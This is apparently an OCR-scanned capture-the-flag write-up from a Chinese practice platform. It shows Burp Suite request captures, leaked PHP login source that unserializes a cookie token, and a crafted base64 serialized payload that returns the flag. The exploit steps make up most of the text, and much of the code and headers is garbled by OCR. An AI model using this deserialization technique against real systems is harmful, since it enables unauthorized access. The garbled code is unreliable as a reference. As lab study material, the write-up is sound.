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<meta charset="utf-8" />

<title’Log In</title>

<link rel="stylesheet” href="//cdn. bootcss. com/sheleton/2. 0. 4/skeleton. min, css” />
</head>
<body>

<div class="container”>

<form method="post” action="login. php">
<label for="username”>Username: </label>
<input class="u-full-width” type="text” name="username” placeholder="Username” />
<label for="password”>Password: </label>
<input class="u-full-width” type="password” name="password” placeholder="Fassword” />
<input type="submit” value="Log In" />
</form»
</fdivd
</body>
</html>
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BBurp Suite Professional vl.7.31 — Temporary Project - licensed to surferzyz

Burp Intruder Repeater VWindow Help

=B ]

[Target I Frosxy T Spider I Scanner I Intruder TRepeater T Sequencer I Decoder T Comparer T Extender I Froject options I User options IAIens ]

1202« |34
Go cancel | [ < [v ][ > Target: http://5884b6339a854c84a7 41765245928 cBalB13/6d03b1d4 chd.cf o @@
Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTR’Ender]

pET fmember.php HTTR/ 1 : HTTP/1.1 200 Gk :
Host: 66884b6339a854cB84a7 d17652459a9c8a08136d03b1 ddchd.changame.ichungiu.com Date: Thu, 13 Jun 2019 11:46:16 GMT
User-Agent: Mozilla/5.0 (Windows NT B.1; Win64; x64; n:65.0) Gecko/20100101 Firefox/65.0 Content-Type: text/html; charset=utf-8
Accept: text/html applicationfxhtmi+xmlapplication/xml;q=0.9 image/webp *f*q=0.8 Content-Length: 69
Accept-Language: zh-CHM,zh;q=0.8,zh-TW;q=0.7 .zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Vary: Accept-Encoding
Referer: http://5884b6339a854:84a7 d17652459a9:8a08 136 d03k 1 ddebd. changame.ichungiu.com/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cookie: ci_session=5a383b4b29fcheb206ceesfee28c012a37 a55d3a; Pragma; no-cache
Un_distinctid=16b5098ecdb449-0d14f111fbe2c38-14307 440-11a400-16h5098e cdo 15, show: 0
pov_pvi=40211497856; pgv_si=s9409212416; Vary: Accept-E
Hm_Ivt_2d0601 bd28de? d49618249cf35d95943=1560425328; ¥-Via-JSL 7237956 -
Hm_lpvt_2d0601hd258de7 d49818249cf35d95943=1560425352; ¥-Cache: bypass
chkphone=acWxhNpxhQpDiAchhNuSnEqyiQuDIC0000;
__jsluid=37313d24700c36143a4335:h70e2db6; PHPSESSID=5jpse82260c6g501h2e03i07d3 <head>
Upgrade-Insecure-Requests: 1 <meta charset="utf8" />
</head>
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BBurp Suite Professional vl.7.31 - Temporary Preject - licensed to surferzyz

Burp Intruder Repeater Window Help
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[Target I Froxy T Spider I Scanner I Intruder TRepeater T Sequencer I Decoder T Comparer T Extender I Froject options I Lser options IAIens ]
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Go Cancel < |r

Request

Raw | Params | Headers | Hex

Target: http:/6884b6339a854c84a7d17652459a0 cBalB 136 d03b 1d4chd.changame.ichungiv.com | & ?

Response

Raw | Headers | Hex HTMLTRender]

GET fmember.php HTTP/1.1 & include 'common.php' .
Host: 66884h6339aB854c84a7 d17652459a9c8a0813f6d0301 ddchd.changame.ichungiu.cam r Jrequset = amay_merge($ GET, § POST, § SESSION, § COOKIE); 1
User-Agent: Mozilla/5.0 (Windows NT B.1; WinG4; x64; n:65.0) Gecko/20100101 Firefox/B5.0 class db
Accept: text/html applicationfxhtmi+xmlapplication/xml;q=0.9 image/webp *f*q=0.8 {
Accept-Language: zh-CN,zh;q=0.8 zh-TW,;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 public $where;
Accept-Encoding: gzip, deflate function __ wakeup()
Referer: http://5884b6339a854:84a7 d17652459a9:8a08 136 d03k 1 ddebd. changame.ichungiu.com/ I
Connection: close if(lempty($this->where])
show: 1 i
Cookie: ci_session=5a383h4b29fcheh206ceeefes28c012a37 a55d3a; Jthis-> select($this->where);
UM _distinctid=16b5098ecdb443-0d14f111fhe2c38-143b7 440-1a400-16b5098ecde 15, }
pav_pvi=4021497856; pgv_siFs3409212416; } i
Hm_Ivt_2d0601 bd28dey d49818249cf35d95943=1560425328;
Hm_lpvt_2d0601bd28de7 d49818249cf35d95943=1560425352; function select{$where)
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIo0000; I
_ jsluid=37313d24700c36143a4335efb70e2db6; PHPSESSID=5jpse82260c6q501 b2e09i07d3 3sql = mysgl_query('select * from user where ' Swhera);
Upgrade-Insecure-Requests: 1 retum @mysql_fetch_amay($sql);
}
}
if{isset($requset] token’))
{
§lo unserialize(gzuncompress(basetd_decode(Srequset|token]));
$db = new db();
Jrow = Bdb->select(user=\".mysql_real escape_string($login[ user]).\');
it "] ichungiu)
{
echo $flag;
Jelse if(§rowf pass] I== Jlogin[ pass]){
echo 'unserialize injectionll’;
Jelsef
echo (- 'O )7 ~L—L"
}
Jelsef
header( Location: index php?error=1);
g }
v v
0 matches liJ u u u Type & search term 0 matches

EJ EJ EJ Type & search term
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<!-- <?php
include ‘common.php’;
$requset = array_merge($ GET, $ POST, $ SESSION, $ COOKIE);
class db
{
public $where;
function _ wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
by
b

function select($where)

{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);

¥

¥

if(isset($requset[ 'token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\"'".mysql_real escape_string($login[‘user']).'\'");
if($login['user'] === ‘'ichunqiu')
{
echo $flag;
}else if($row[ 'pass'] !== $login['pass']){
echo 'unserialize injection!!’;
}else{
echo "(Z ‘'o’)’ ~L1L
)i
}else{
header('Location: index.php?error=1");

}
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echo basesd_encode(gzcompress(serialize{$a)));

eJIxLtDKOqi62MrFSKilOLVKyLraysFLKTM40zSvMLFWyrgUAo4oKXA==
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Burp Intruder Repeater Window Help

[Target ]' Prozy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder T Cornparer T Extender ]' Project options ]' User options IAIeﬂs ]

T2 % |3« | 4=

Go Cancel < |v > |v Target: http://6884 b6339 a854 c84a7 d17652459a9cBa0B813f6 d03b1ddchd.changame.ichungiu.com EJ EJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTMWL T Render ]
GET fmember. php HTTP/1.1 A HTTP/1.1 200 Ok A
- -
Host: 66884b6339a854c84a7 d17652459a9c8a08136d03b1 ddchd.changame.ichungiu.com Date: Thu, 13 Jun 2019 12:05:20 GMT
User-Agent: Mozilla/5.0 (Windows NT B.1; WinB4; x64; nv.65.0) Gecko/20100101 Firefox/E5.0 Content-Type: text/html charset=utf-6
Accept: text/html application/xhtml+xml application/xml; q=0.9 imagefwebp **q=0.8 Content-Length: 82
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0 5 en-US;q=0.3 en;q=0.2 Caonnection: close
Accept-Encoding: gzip, deflate Vary: Accept-Encoding
Referer: http://6884b6339a854 84 a7 d17652459a9c8a0813f6d03k 1 ddcbd. changame.ichungiu.com/ Expires: Thu, 19 Mov 1981 08:52:00 GMT
Connection’ close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cookie: Fragma: no-cache
ci_session=602a9458923718c62fb8e31567 ad9d2a3602ffaf, token=eJxLtDKOQIEZMF SKi1 OLVKyLrays show: 0
FLETM4 0z SvWMLFWyrglJAod o kA==, Vary: Accept-Encoding
UM _distinctid=16b5098ecdb443-0d14f111fhe2c38-143b7 440-1a400-16b5098ecde 15, ¥-Via-JSL: 9587073 -
pov_pvi=4021497856; pgv_si=s9409212416; ¥-Cache: bypass
Hm_Ivt_2d0601 bd28dey d49818249cf35d95943=1560425328;
Hm_Ipvt_2d0601bd28de7 d49818249:f35d95943=1560426976; <head>
chkphone=acWxNpxhQpDiAchhMuSnEqyiQuDIC0000; <meta charset="utf-8" />
__isluid=37313d24700c36143a4335efh70e2dbE; PHPSESSID=5jpse82260c6g501h2e0di07 d3 </head>
Upgrade-Insecure-Requests: 1 flag{Dee84ba9-258945d4 976 c-0dBa5fAb00 d4}
9 9
v v
? < + = Tipe @ search term 0 matches ? < + = Type a search term 0 matches
Cione 447 bytes | 110 mullis
get #| flag
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